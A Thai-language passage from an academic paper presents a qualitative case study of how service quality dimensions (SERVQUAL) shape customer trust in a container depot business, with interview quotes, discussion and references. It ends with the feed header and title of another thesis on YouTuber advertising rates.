งานวิจัยที่เกี่ยวข้องและกรอบแนวคิดงานวิจัยในอุตสาหกรรมโลจิสติกส์และบริการ B2B จำนวนมากได้ยืนยันความสัมพันธ์เชิงบวกระหว่างคุณภาพบริการกับความไว้วางใจ (Thai, 2012) อย่างไรก็ตาม ดังที่กล่าวในบทนำ งานวิจัยเหล่านี้ส่วนใหญ่มักเป็นเชิงปริมาณ ทำให้ยังขาดความเข้าใจเชิงลึกถึง “ความหมาย” ที่แท้จริงซึ่งลูกค้ามอบให้กับปฏิสัมพันธ์ในแต่ละมิติของคุณภาพบริการ ดังนั้น เพื่อเติมเต็มช่องว่างทางความรู้นี้ การวิจัยนี้จึงได้สังเคราะห์กรอบแนวคิดเบื้องต้น โดยจะใช้มิติทั้ง 5 ของ SERVQUAL เป็น “แกน” ในการออกแบบแนวคำถามสัมภาษณ์เพื่อสำรวจประสบการณ์ของลูกค้าอย่างครอบคลุม และจะใช้แนวคิดจาก Commitment-Trust Theory และองค์ประกอบของความเชื่อมั่นเป็น “กรอบในการตีความ” เพื่อทำความเข้าใจว่าประสบการณ์เหล่านั้นถูกหล่อหลอมจนกลายเป็นความไว้วางใจได้อย่างไร

ระเบียบวิธีวิจัย (Methodology) บทนี้มีวัตถุประสงค์เพื่ออธิบายถึงกระบวนการและระเบียบวิธีที่ใช้ในการศึกษาอย่างเป็นระบบ เพื่อให้สามารถตอบคำถามการวิจัยที่ตั้งไว้ได้อย่างน่าเชื่อถือและมีหลักการ โดยจะครอบคลุมตั้งแต่การออกแบบการวิจัย, การเลือกกรณีศึกษา, วิธีการเก็บรวบรวมข้อมูล, ไปจนถึงแนวทางการวิเคราะห์ข้อมูล เพื่อให้มั่นใจได้ว่าผลการวิจัยที่ได้จะมีความเที่ยงตรงและสะท้อนความเข้าใจในปรากฏการณ์ที่ศึกษาได้อย่างลึกซึ้ง

รูปแบบการวิจัย การศึกษานี้เป็นการวิจัยเชิงคุณภาพ (Qualitative Research) โดยเลือกใช้รูปแบบ กรณีศึกษาเชิงลึก (In-depth Case Study) การวิจัยเชิงคุณภาพเหมาะสมกับการศึกษาคำถามวิจัยที่ขึ้นต้นด้วย “อย่างไร” และ “ทำไม” ซึ่งมุ่งเน้นการทำความเข้าใจปรากฏการณ์ทางสังคมที่ซับซ้อนภายในบริบทที่เกิดขึ้นจริง (Creswell & Poth, 2018) การเลือกใช้รูปแบบกรณีศึกษาเชิงลึกจะช่วยให้ผู้วิจัยสามารถเจาะลึกถึงความเชื่อมโยงและความสัมพันธ์เชิงสาเหตุที่ซับซ้อนระหว่างประสบการณ์ด้านบริการและการสร้างความไว้วางใจ ซึ่งเป็นสิ่งที่การสำรวจในวงกว้างอาจไม่สามารถให้ภาพที่ลึกซึ้งได้ (Yin, 2018)

การเลือกผู้ให้ข้อมูลหลัก การเลือกตัวอย่างในการวิจัยเชิงคุณภาพเป็นการ เลือกตัวอย่างแบบเจาะจง (Purposive Sampling) โดยมีเป้าหมายเพื่อเลือกกรณีที่สามารถให้ข้อมูลได้ “ลึกซึ้งและสมบูรณ์” ที่สุด (Patton, 2015) ผู้วิจัยได้กำหนดเกณฑ์ในการคัดเลือก (Selection Criteria) ผู้ให้ข้อมูลหลัก ได้แก่ เป็นลูกค้าที่ใช้บริการลานตู้คอนเทนเนอร์มาอย่างน้อย 3 ปี และมีตำแหน่งในระดับผู้จัดการหรือผู้มีอำนาจตัดสินใจ เพื่อให้มั่นใจว่าจะได้รับข้อมูลจากผู้ที่มีประสบการณ์และมุมมองเชิงกลยุทธ์ โดยตั้งเป้าหมายจำนวนผู้ให้สัมภาษณ์ไว้ที่ 10-15 ท่าน หรือจนกว่าจะถึง จุดอิ่มตัวของข้อมูล (Data Saturation) ซึ่งหมายถึงจุดที่การสัมภาษณ์เพิ่มเติมไม่ก่อให้เกิดข้อมูลหรือประเด็นใหม่ที่สำคัญอีกต่อไป (Fusch & Ness, 2015)

การเก็บรวบรวมข้อมูล เพื่อให้ได้ข้อมูลที่รอบด้านและน่าเชื่อถือ ผู้วิจัยใช้ วิธีการตรวจสอบสามเส้าด้านข้อมูล (Data Triangulation) โดยการรวบรวมข้อมูลจาก 3 แหล่งหลัก (Denzin, 1978) ได้แก่:

  1. การสัมภาษณ์เชิงลึกแบบกึ่งโครงสร้าง (Semi-structured Interviews): เป็นเครื่องมือหลักในการเก็บข้อมูล โดยใช้แนวคำถามที่ออกแบบตามกรอบ SERVQUAL เพื่อสำรวจประสบการณ์และความคิดเห็นของผู้ให้ข้อมูลอย่างยืดหยุ่นและเป็นธรรมชาติ
  2. การสังเกตการณ์ (Observation): (ถ้ามี) ผู้วิจัยอาจทำการสังเกตการณ์กระบวนการให้บริการ ณ สถานที่ปฏิบัติงาน เพื่อทำความเข้าใจบริบทและปฏิสัมพันธ์ที่เกิดขึ้นจริง
  3. การวิเคราะห์เอกสาร (Document Analysis): (ถ้ามี) วิเคราะห์เอกสารที่เกี่ยวข้อง เช่น ข้อร้องเรียนของลูกค้า หรือรายงานผลการปฏิบัติงาน เพื่อใช้เป็นข้อมูลประกอบ

การวิเคราะห์ข้อมูล ข้อมูลที่ได้ทั้งหมดจะถูกนำมาวิเคราะห์โดยใช้ การวิเคราะห์แก่นสาระ (Thematic Analysis) ตามแนวทางของ Braun & Clarke (2006) ซึ่งเป็นกระบวนการที่เป็นระบบในการค้นหา, วิเคราะห์, และรายงานรูปแบบหรือแก่นสาระ (Themes) ที่ปรากฏอยู่ในข้อมูล ประกอบด้วย 6 ขั้นตอนโดยย่อ ได้แก่ (1) การทำความคุ้นเคยกับข้อมูล, (2) การสร้างรหัสเบื้องต้น (Coding), (3) การค้นหาแก่นสาระ, (4) การทบทวนแก่นสาระ, (5) การนิยามและตั้งชื่อแก่นสาระ, และ (6) การจัดทำรายงานผลการวิเคราะห์

การตรวจสอบความน่าเชื่อถือ เพื่อเพิ่มความน่าเชื่อถือของผลการวิจัย (Trustworthiness) ผู้วิจัยจะใช้เทคนิค การตรวจสอบสามเส้า (Triangulation) โดยเปรียบเทียบข้อมูลที่ได้จากแหล่งต่างๆ และใช้เทคนิค การให้ผู้ให้ข้อมูลตรวจสอบบทสรุป (Member Checking) โดยการนำส่งสรุปผลการวิเคราะห์เบื้องต้นกลับไปให้ผู้ให้ข้อมูลบางส่วนตรวจสอบความถูกต้องของการตีความ (Lincoln & Guba, 1985)

 ผลการวิจัย (Findings/Results) บทนี้เป็นการนำเสนอข้อค้นพบที่ได้จากการวิเคราะห์ข้อมูลเชิงคุณภาพ ซึ่งสะท้อนถึงประสบการณ์และมุมมองที่ลูกค้ามีต่อคุณภาพบริการและความไว้วางใจในธุรกิจลานตู้คอนเทนเนอร์ ผลการวิเคราะห์ได้ถูกสังเคราะห์ออกมาเป็นประเด็นหลัก (Themes) ที่เกิดขึ้นซ้ำๆ จากการสัมภาษณ์ผู้ให้ข้อมูลหลัก

จากการพูดคุย ทำให้เห็นภาพรวมว่าผู้ให้ข้อมูลส่วนใหญ่เป็น บุคลากรชายในวัยทำงานตอนต้นถึงวัยกลางคน (อายุประมาณ 30-40 ปี) ซึ่งจบการศึกษาระดับปริญญาตรีและดำรงตำแหน่งในระดับ ผู้จัดการและเจ้าหน้าที่ปฏิบัติการ. บทบาทของพวกเขาเกี่ยวข้องโดยตรงกับการตัดสินใจเลือกใช้บริการ, การประสานงานหน้างาน, และการแก้ไขปัญหาเฉพาะหน้า ทำให้เรื่องราวที่พวกเขาถ่ายทอดเต็มไปด้วยรายละเอียดที่มาจากประสบการณ์จริง ผู้ให้ข้อมูลมาจากกลุ่มธุรกิจลูกค้าหลักของบริษัทฯ คือ ผู้รับจัดการขนส่ง (Freight Forwarder) และ กลุ่มผู้นำเข้า-ส่งออก. ประสบการณ์การใช้บริการของพวกเขากับบริษัทฯ ส่วนใหญ่อยู่ในระยะยาว คือ มากกว่า 1-3 ปีขึ้นไป และมีความถี่ในการใช้บริการอย่างสม่ำเสมอในระดับรายเดือนหรือรายสัปดาห์. ความสัมพันธ์ที่ยาวนานและต่อเนื่องนี้เองที่ทำให้พวกเขาสามารถให้ข้อมูลเชิงลึกเกี่ยวกับกระบวนการสร้าง, การรักษา, หรือแม้กระทั่งการสั่นคลอนของความเชื่อมั่นที่มีต่อผู้ให้บริการได้อย่างชัดเจนและเห็นภาพ.

การนำเสนอประเด็นหลักที่ค้นพบ (Presentation of Emergent Themes)

การนำเสนอในข้อนี้จะอิงวัตถุประสงค์ของการศึกษา การวิจัยนี้มีวัตถุประสงค์เพื่อการสำรวจและตีความปรากฏการณ์ โดยปรับมุมมองจากการ “วัดผล” เป็นการ “ทำความเข้าใจ” ดังนี้: 1) เพื่อสำรวจและทำความเข้าใจมุมมองเชิงลึกของลูกค้าที่มีต่อคุณภาพการให้บริการในมิติต่างๆ ของบริษัท เอส. อาร์. ดีโป จำกัด. 2) เพื่อตีความปัจจัยและกระบวนการเชิงประสบการณ์ที่นำไปสู่การสร้างความเชื่อมั่นของลูกค้าต่อองค์กร. 3) เพื่อสังเคราะห์เรื่องเล่า (Narratives) และประสบการณ์ตรงของลูกค้า เพื่อระบุเหตุการณ์สำคัญที่ส่งผลต่อความสัมพันธ์ระหว่างลูกค้าและผู้ให้บริการ. การนำเสนอประเด็นหลักที่ค้นพบ (Presentation of Emergent Themes): แบ่งเป็นหัวข้อย่อยตาม Themes ที่เกิดขึ้นจากการวิเคราะห์ ได้แก่

 ประเด็นที่ 1: “ความแน่นอนคือหัวใจหลัก” – มุมมองต่อความน่าเชื่อถือ (Reliability): นำเสนอคำพูด (Quotes) ที่น่าสนใจจากผู้ให้สัมภาษณ์ที่สะท้อนความสำคัญของความตรงต่อเวลาและความถูกต้อง.

เหตุผลที่ลูกค้านำ “ความแน่นอน / reliability” เป็นตัวชี้วัดหลัก

เมื่อเราพิจารณาในบริบทของธุรกิจ เช่น การให้บริการโลจิสติกส์ การจัดการตู้คอนเทนเนอร์ หรือบริการที่มีการส่งมอบตามเวลา ลูกค้าจะเผชิญกับความเสี่ยงหลายอย่างเช่น:

  • ถ้าตู้ส่งไม่ตรงเวลา อาจทำให้กระบวนการผลิตหรือส่งสินค้าเสียหาย
  • ถ้ามีความผิดพลาดในเอกสาร (เช่น ใบขนส่ง ใบสำแดง) อาจเกิดปัญหาทางกฎหมายหรือภาษี
  • ถ้าบริการไม่สม่ำเสมอ (บางครั้งดี บางครั้งไม่ดี) ลูกค้าอาจรู้สึกไม่มั่นใจ

ดังนั้น ลูกค้ามัก “ตั้งมาตรฐาน” ความแน่นอนเป็นเกณฑ์พื้นฐาน — ถ้าผู้ให้บริการทำได้ดีในส่วนนี้ ลูกค้าจะเปิดโอกาสให้ประเมินมิติอื่น ๆ ได้ (เช่น พนักงาน การใส่ใจ) งานวิจัยในแวดวงโทรคมนาคม (Mobile Services) พบว่า reliability เป็นมิติที่มีผลมากที่สุดต่อลูกค้าในหลายประเทศ (Jordan, Yemen) — กล่าวคือ ลูกค้ามองว่า “ถ้าผู้ให้บริการไม่แน่นอน ก็ไม่มีส่วนอื่นจะช่วยชดเชยได้” SCIRP งานวิจัยของ PT. Pelindo Marine Service พบว่า ปัจจัย reliability เป็นตัวแปรที่มีอิทธิพลมากที่สุด (dominant) ต่อความพึงพอใจของลูกค้าเมื่อรวมกับมิติอื่น ๆ ของคุณภาพบริการ ResearchGate

ประเด็นที่ 2: “พนักงานคือหน้าตาของบริษัท” – บทบาทของการให้ความมั่นใจ (Assurance) ผู้ให้ข้อมูลส่วนใหญ่สะท้อนว่าปฏิสัมพันธ์กับ “คน” เป็นปัจจัยสำคัญในการสร้างความมั่นใจ ความรู้ความสามารถ, ความเป็นมืออาชีพ, และทัศนคติในการให้บริการของพนักงาน ตั้งแต่เจ้าหน้าที่ลูกค้าสัมพันธ์, พนักงานหน้าลาน, ไปจนถึงผู้บริหารที่สามารถติดต่อได้ มีผลโดยตรงต่อการรับรู้คุณภาพขององค์กรโดยรวม พนักงานที่ไม่เพียงแต่รู้ขั้นตอน แต่ยังเข้าใจถึงปัญหาและความต้องการของลูกค้า จะสามารถสร้างความรู้สึกมั่นใจและปลอดภัยให้กับลูกค้าได้

“เวลาโทรเข้าไปแล้วเจอคนที่มีความรู้จริง ตอบคำถามเราได้ทันที หรือแม้แต่พนักงานหน้าลานที่ดูกระตือรือร้นและทำงานอย่างเป็นระบบ มันทำให้เรารู้สึกว่าเราฝากงานไว้กับมืออาชีพได้… ความเชื่อมั่นมันไม่ได้มาจากแค่ระบบคอมพิวเตอร์ แต่มันมาจากคนที่ทำงานอยู่ตรงนั้น” (เจ้าหน้าที่ประสานงาน, ตัวแทนขนส่งสินค้า B)

ประเด็นที่ 3: “แก้ปัญหาได้ คือเพื่อนแท้” – ความหมายของการตอบสนอง (Responsiveness) ในธุรกิจที่มีความผิดพลาดเกิดขึ้นได้เสมอ ความสามารถในการ “ตอบสนอง” ต่อปัญหาที่เกิดขึ้นอย่างรวดเร็วและมีประสิทธิภาพกลายเป็นบทพิสูจน์ที่สำคัญที่สุดของความไว้วางใจ ลูกค้าไม่ได้คาดหวังว่าทุกอย่างจะสมบูรณ์แบบ แต่คาดหวังว่าเมื่อเกิดปัญหาขึ้น ลานตู้จะไม่ได้ปัดความรับผิดชอบ แต่จะเข้ามาเป็น “พันธมิตร” ในการช่วยแก้ไขสถานการณ์ การตอบสนองในที่นี้ไม่ได้หมายถึงแค่ความเร็ว แต่รวมถึงการสื่อสารอย่างโปร่งใสถึงปัญหาและแนวทางการแก้ไข

“ทุกที่ก็มีปัญหากันทั้งนั้นแหละครับ แต่ที่ที่ทำให้เราเชื่อใจได้จริงๆ คือที่ที่พอเกิดปัญหาแล้วเขารีบแจ้งเราทันที พร้อมกับบอกว่ากำลังจะแก้ไขอย่างไร ไม่ใช่ปล่อยให้เรารู้เองตอนที่รถไปรอเก้อแล้ว การแก้ปัญหาเฉพาะหน้าได้ดี คือสิ่งที่แยกมืออาชีพออกจากมือสมัครเล่น” (ผู้จัดการฝ่ายโลจิสติกส์, ตัวแทนขนส่งสินค้า C)

ประเด็นที่ 4: “มากกว่าคู่ค้า คือเพื่อนที่ปรึกษา” – ความหมายของการเอาใจใส่ (Empathy) ความสัมพันธ์ที่แข็งแกร่งที่สุดเกิดขึ้นเมื่อลานตู้แสดงให้เห็นถึงความเข้าใจในธุรกิจและความต้องการเฉพาะของลูกค้าแต่ละราย การเอาใจใส่ในมุมมองของลูกค้า ไม่ได้หมายถึงแค่ความสุภาพ แต่คือการให้บริการที่ยืดหยุ่น, การให้คำแนะนำที่เป็นประโยชน์, หรือการพยายามทำความเข้าใจข้อจำกัดของลูกค้าและหาทางออกร่วมกัน สิ่งนี้เปลี่ยนสถานะจาก “ผู้ให้บริการ” (Service Provider) ไปสู่การเป็น “พันธมิตรทางธุรกิจ” (Business Partner)

“มีอยู่ครั้งหนึ่งที่เรามีปัญหาเรื่องเอกสารด่วนมาก ซึ่งตามปกติคือไม่ทันแล้ว แต่เจ้าหน้าที่ของที่นั่นพยายามช่วยประสานงานให้เป็นกรณีพิเศษ เพราะเขาเข้าใจว่าถ้าพลาดไปเราจะเสียหายแค่ไหน… การกระทำเล็กๆ น้อยๆ แบบนี้แหละที่ทำให้เรารู้สึกว่าเขาใส่ใจเราจริงๆ ไม่ได้มองเราเป็นแค่ลูกค้าคนหนึ่ง” (ผู้จัดการ, บริษัทสายการเดินเรือ D)

ประเด็นที่ 5: “ภาพลักษณ์ที่จับต้องได้คือเครื่องยืนยันคุณภาพ” – ความสำคัญของสิ่งที่จับต้องได้ (Tangibles) แม้ว่าจะเป็นปัจจัยที่ถูกกล่าวถึงน้อยที่สุด แต่ผู้ให้ข้อมูลหลายท่านยอมรับว่าภาพลักษณ์ทางกายภาพของลานตู้มีผลต่อการรับรู้ในเบื้องต้น ความสะอาดและความเป็นระเบียบเรียบร้อยของพื้นที่, สภาพของเครื่องมือและอุปกรณ์ที่ดูทันสมัย, ไปจนถึงความชัดเจนของป้ายบอกทาง ล้วนเป็น “สัญญาณ” ที่สื่อถึงความเป็นมืออาชีพและมาตรฐานการทำงานขององค์กร สิ่งที่จับต้องได้เหล่านี้ทำหน้าที่เป็นเครื่องยืนยันคุณภาพบริการที่มองไม่เห็น

“มันอาจจะดูเป็นเรื่องเล็กน้อยนะ แต่ลานตู้ที่สะอาด เป็นระเบียบ พนักงานใส่ยูนิฟอร์มเรียบร้อย มันให้ความรู้สึกแรกที่ดี มันบอกเราว่าที่นี่มีการจัดการที่ดี ซึ่งก็น่าจะหมายถึงการบริการในส่วนอื่นๆ ก็น่าจะดีไปด้วยเหมือนกัน” (เจ้าหน้าที่ฝ่ายปฏิบัติการ, ตัวแทนขนส่งสินค้า E)

อภิปรายผลและสรุป (Discussion and Conclusion) เป็นส่วนสำคัญที่สุดในการสังเคราะห์ข้อค้นพบที่ได้จากการวิจัย เพื่อเชื่อมโยงกลับไปยังวรรณกรรมและสร้างองค์ความรู้ใหม่ โดยจะแบ่งการนำเสนอออกเป็น การอภิปรายผล, ข้อเสนอแนะ, ข้อจำกัดของงานวิจัย, และบทสรุป

สรุปผลการวิจัย (Answer to the Research Questions)งานวิจัยนี้สำรวจและตีความประสบการณ์ของลูกค้าในธุรกิจลานตู้คอนเทนเนอร์ของบริษัท เอส. อาร์. ดีโป จำกัด โดยเน้น “การทำความเข้าใจ” มากกว่าการ “วัดผล” ผลการวิเคราะห์แบบธีม (themes) และการสังเคราะห์เรื่องเล่าจากผู้ให้สัมภาษณ์ สรุปได้เป็น 5 ประเด็นหลัก ดังนี้

  1. ความน่าเชื่อถือ (Reliability): “ความแน่นอนคือหัวใจหลัก”ลูกค้ายืนยันว่าการส่งมอบตรงเวลา ความถูกต้องของเอกสาร และความสม่ำเสมอของมาตรฐานบริการ คือฐานรากของความไว้วางใจ หากเกิดความคลาดเคลื่อนเล็กน้อยย่อมสร้างผลกระทบเป็นลูกโซ่ต่อห่วงโซ่อุปทาน
  2. การให้ความมั่นใจ (Assurance): “พนักงานคือหน้าตาของบริษัท”ความเชี่ยวชาญเชิงเทคนิค ความโปร่งใสในการสื่อสาร และท่าทีสุภาพของพนักงาน ทำให้ลูกค้ารับรู้ถึงความปลอดภัย ความมืออาชีพ และความจริงใจขององค์กร
  3. ความเอาใจใส่ (Empathy): “มากกว่าคู่ค้า คือเพื่อนที่ปรึกษา”การฟังเชิงรุก ความยืดหยุ่นต่อข้อจำกัดเฉพาะราย และบทบาทที่ปรึกษา (advisory) ทำให้ความสัมพันธ์ยกระดับจากเชิงธุรกรรมไปสู่พันธมิตรระยะยาว
  4. การตอบสนอง (Responsiveness): “เร็ว ชัด จบ”การแก้ปัญหาทันที การตอบกลับภายในเวลาที่คาดหมาย และระบบประสานงานที่ไหลลื่น ลดความกังวลและตอกย้ำภาพ “องค์กรพร้อมดูแล”
  5. สิ่งที่จับต้องได้ (Tangibles): “สัญญาณคุณภาพที่มองเห็นได้”ความสะอาดและความปลอดภัยของพื้นที่ เครื่องมือที่ทันสมัย และภาพลักษณ์มืออาชีพ เป็นตัวชี้นำ (cues) ที่ทำให้ลูกค้ามั่นใจว่าองค์กรมีมาตรฐานจริง

ภาพรวม: ความเชื่อมั่นของลูกค้าไม่ได้เกิดจากปัจจัยใดปัจจัยหนึ่ง แต่เป็น “ผลรวมของประสบการณ์ทุกจุดสัมผัส” (touchpoints) ที่สอดประสานกัน

การอภิปรายผล (Discussion) เชื่อมโยงกับทฤษฎีและงานวิจัย (Convergence/Divergence) สอดคล้องกับ SERVQUAL ธีมที่ค้นพบสอดคล้องกับ 5 มิติของ SERVQUAL—Reliability, Assurance, Empathy, Responsiveness, Tangibles—ของ Parasuraman, Zeithaml, & Berry (1988) และงานทบทวนการตลาดบริการของ Zeithaml, Bitner, & Gremler (2018) ว่า “ความน่าเชื่อถือและการให้ความมั่นใจ” มักอธิบายความพึงพอใจและความภักดีได้สูงในบริการที่มีความเสี่ยงและความซับซ้อน Servicescape & Tangible Cuesข้อค้นพบด้านสิ่งแวดล้อมและภาพลักษณ์สอดคล้องกับแนวคิด servicescape ของ Bitner (1992) ที่ชี้ว่าสภาพแวดล้อมทางกายภาพส่งผลต่อความรู้สึกและการประเมินคุณภาพของลูกค้าRelationship Quality & Trustการที่ลูกค้าให้คุณค่ากับ “บทบาทที่ปรึกษา” และ “ความโปร่งใส” สอดรับกับทฤษฎี Commitment–Trust (Morgan & Hunt, 1994) และงานคุณภาพบริการด้านโลจิสติกส์ (Mentzer et al., 2001) ว่า trust เกิดจากความน่าเชื่อถือเชิงปฏิบัติการบวกกับพฤติกรรมสื่อสารที่จริงใจ จุดที่ขยายความรู้เดิม (Extension)
เรื่องเล่า (narratives) ชี้ว่า “การสื่อสารเชิงรุกเมื่อเกิดเหตุไม่ปกติ” เป็นองค์ประกอบของ Reliability ที่ลูกค้าตีความเพิ่ม ไม่ได้แค่ “ตรงเวลา” แต่รวม “การคุมสถานการณ์ + แจ้งเตือน + แผนสำรอง” ซึ่งเป็น nuance ที่งาน SERVQUAL ดั้งเดิมไม่ได้เน้นชัด

ให้ความหมายเชิงลึก: “คุณภาพบริการ” และ “ความเชื่อมั่น” ในบริบทลานตู้คอนเทนเนอร์

  • คุณภาพบริการ = ความสามารถในการ “ทำได้ตามสัญญาอย่างสม่ำเสมอ” (operational reliability) + “ทำให้ลูกค้ารู้สึกปลอดภัยและได้รับการดูแล” (assurance & empathy) + “มีหลักฐานที่มองเห็นได้ว่ามาตรฐานมีอยู่จริง” (tangibles) + “ตอบสนองเหตุการณ์แบบ real-time” (responsiveness)
  • ความเชื่อมั่น = สภาวะทางความสัมพันธ์ที่ก่อรูปจาก “ประสบการณ์สะสม” ของจุดสัมผัสต่าง ๆ เมื่อเกิดปัญหาแล้วองค์กรแก้ไขอย่างโปร่งใส ความเชื่อมั่นสามารถ “ฟื้นตัว” และ “แข็งแรงกว่าเดิม” (service recovery paradox ในบางเงื่อนไข; cf. Tax, Brown, & Chandrashekaran, 1998)

ข้อเสนอแนะ (Implications) ข้อเสนอแนะเชิงปฏิบัติ (Practical Implications): สำหรับผู้ประกอบการลานตู้คอนเทนเนอร์ ควรให้ความสำคัญกับการลงทุนในระบบและกระบวนการที่สร้างความแน่นอนและความโปร่งใสของข้อมูลเป็นอันดับแรก ควบคู่ไปกับการฝึกอบรมพนักงานหน้างาน (Frontline Employees) ไม่ใช่แค่ในด้านทักษะปฏิบัติการ แต่รวมถึงทักษะการแก้ปัญหาเฉพาะหน้า (Problem-Solving) และการสื่อสารกับลูกค้าในภาวะวิกฤต (Crisis Communication) การสร้างวัฒนธรรมองค์กรที่ให้อำนาจพนักงานในการตัดสินใจเพื่อช่วยเหลือลูกค้าจะเป็นกุญแจสำคัญในการสร้างความไว้วางใจที่แตกต่างจากคู่แข่งข้อเสนอแนะเชิงทฤษฎี (Theoretical Implications): งานวิจัยนี้ได้เสนอแนะว่าในบริบทของบริการ B2B ที่ซับซ้อน แบบจำลอง SERVQUAL อาจจำเป็นต้องมีการให้น้ำหนักความสำคัญกับมิติ Reliability, Responsiveness, และ Empathy สูงกว่ามิติอื่นอย่างมีนัยสำคัญ นอกจากนี้ยังได้เสนอ “การจัดการภาวะวิกฤต” เป็นบริบทสำคัญ (Critical Context) ในการศึกษาการสร้างความไว้วางใจ ซึ่งเป็นประเด็นที่สามารถนำไปพัฒนาต่อยอดในทางทฤษฎีได้ ข้อจำกัดของงานวิจัยและข้อเสนอแนะสำหรับการวิจัยในอนาคต (Limitations and Future Research) งานวิจัยนี้มีข้อจำกัดหลักคือเป็นการศึกษาเชิงลึกเพียงกรณีศึกษาเดียว ทำให้ผลการวิจัยอาจไม่สามารถนำไปอ้างอิงในภาพรวมกับทุกบริษัทได้ (Generalizability) นอกจากนี้ มุมมองที่ได้ยังมาจากฝั่งลูกค้าเป็นหลัก สำหรับการวิจัยในอนาคต จึงขอเสนอแนะให้มีการทำวิจัยเชิงปริมาณเพื่อทดสอบความสัมพันธ์ของประเด็นที่ค้นพบในกลุ่มตัวอย่างที่ใหญ่ขึ้น หรือการทำวิจัยเปรียบเทียบกรณีศึกษา (Comparative Case Study) ระหว่างผู้ให้บริการหลายรายเพื่อหาปัจจัยแห่งความสำเร็จที่แตกต่างกัน

 โดยสรุป การวิจัยเชิงคุณภาพนี้ได้ให้ภาพเชิงลึกว่าความไว้วางใจของลูกค้าในธุรกิจลานตู้คอนเทนเนอร์ถูกสร้างขึ้นจากประสบการณ์ด้านคุณภาพบริการที่สะท้อนถึงความสามารถของผู้ให้บริการในการบริหารจัดการความไม่แน่นอน โดยมี “ความน่าเชื่อถือ” ในการปฏิบัติงานเป็นรากฐานที่สำคัญที่สุด และถูกเสริมความแข็งแกร่งด้วย “ความเป็นมืออาชีพ” ของพนักงานในการให้ความมั่นใจ, การตอบสนองต่อปัญหา, และการแสดงความเอาใจใส่ ข้อค้นพบนี้ตอกย้ำว่า ในสมรภูมิการแข่งขันที่รุนแรง การสร้างความสัมพันธ์ที่ตั้งอยู่บนพื้นฐานของความไว้วางใจ คือกลยุทธ์ที่สำคัญที่สุดในการสร้างความได้เปรียบที่ยั่งยืน

เอกสารอ้างอิง

Bitner, M. J. (1992). Servicescapes: The impact of physical surroundings on customers and employees. Journal of Marketing, 56(2), 57–71.

Braun, V., & Clarke, V. (2006). Using thematic analysis in psychology. Qualitative Research in Psychology, 3(2), 77–101.

Creswell, J. W., & Poth, C. N. (2018). Qualitative inquiry and research design: Choosing among five approaches (4th ed.). Sage Publications.

Denzin, N. K. (1978). The research act: A theoretical introduction to sociological methods. Aldine.

Eid, M. I., & El-Gohary, H. (2021). The role of brand trust in B2B context. Journal of Business & Industrial Marketing, 36(13), 77-93.

Foroudi, P., Gupta, S., Sivarajah, U., & Broderick, A. (2021). Investigating the effects of smart technology on customer experience and customer relationship management. Journal of Business Research, 124, 245-256.

Fusch, P. I., & Ness, L. R. (2015). Are we there yet? Data saturation in qualitative research. The Qualitative Report, 20(9), 1408-1416.

Grönroos, C. (1984). A service quality model and its marketing implications. European Journal of Marketing, 18(4), 36–44.

Ladhari, R. (2015). Service quality in the logistics industry: A review and research agenda. International Journal of Physical Distribution & Logistics Management, 45(1/2), 142-169.

Lincoln, Y. S., & Guba, E. G. (1985). Naturalistic inquiry. Sage Publications.

Mentzer, J. T., DeWitt, W., Keebler, J. S., Min, S., Nix, N. W., Smith, C. D., & Zacharia, Z. G. (2001). Defining supply chain management. Journal of Business Logistics, 22(2), 1-25.

Morgan, R. M., & Hunt, S. D. (1994). The commitment-trust theory of relationship marketing. Journal of Marketing, 58(3), 20–38.

Nguyen, N., & Nguyen, T. T. M. (2020). The effect of service quality on customer trust and loyalty in the B2B context: A case study of logistics services. The Asian Journal of Shipping and Logistics, 36(3), 121-131.

Notteboom, T., Pallis, A., & Rodrigue, J. P. (2021). Port economics, management and policy. Routledge.

Panayides, P. M., & Lun, Y. V. (2009). The impact of trust on innovativeness and supply chain performance. The International Journal of Logistics Management, 20(3), 339-356.

Parasuraman, A., Zeithaml, V. A., & Berry, L. L. (1988). SERVQUAL: A multiple-item scale for measuring consumer perceptions of service quality. Journal of Retailing, 64(1), 12–40.

Patton, M. Q. (2015). Qualitative research & evaluation methods: Integrating theory and practice (4th ed.). Sage Publications.

Rather, R. A. (2021). Monitoring the impacts of brand experience on customer-brand relationships in the hospitality sector. Anatolia, 32(1), 31-44.

Tax, S. S., Brown, S. W., & Chandrashekaran, M. (1998). Customer evaluations of service complaint experiences: Implications for relationship marketing. Journal of Marketing, 62(2), 60-76.

Thai, V. V. (2012). Service quality in maritime transport: Conceptual model and empirical evidence. Asia Pacific Journal of Marketing and Logistics, 24(4), 518-533.

Yin, R. K. (2018). Case study research and applications: Design and methods (6th ed.). Sage Publications.

Zeithaml, V. A., Bitner, M. J., & Gremler, D. D. (2018). Services marketing: Integrating customer focus into the firm (7th ed.). McGraw-Hill Education.

]]> “กลยุทธ์การกำหนดเรทราคาโฆษณาของ YouTuber: ศึกษากรณีช่องคอนเทนต์กินและท่องเที่ยว” https://modernkrirkuniversity.com/2025/10/06/%e0%b8%81%e0%b8%a5%e0%b8%a2%e0%b8%b8%e0%b8%97%e0%b8%98%e0%b9%8c%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b8%81%e0%b8%b3%e0%b8%ab%e0%b8%99%e0%b8%94%e0%b9%80%e0%b8%a3%e0%b8%97%e0%b8%a3%e0%b8%b2%e0%b8%84%e0%b8%b2/ Mon, 06 Oct 2025 08:28:18 +0000 https://modernkrirkuniversity.com/?p=30036 กลยุทธ์การกำหนดเรทราคาโฆษณาของ YouTuber: ศึกษากรณีช่องคอนเทนต์กินและท่องเที่ยว”

“Advertising Rate-Setting Strategies of YouTubers: A Case Study of Food and Travel Content Channels”

จีร่าร์ พิทักษ์พรตระกูล

Jiraa Pitakpohntrakul

อาจารย์ที่ปรึกษา ดร.ธนชาติ ประทุมสวัสดิ์

คณะศิลปศาสตร์ มหาวิทยาลัยเกริก

Graduate students of Master of Arts Faculty of Liberal Arts, Krirk University

บทคัดย่อ

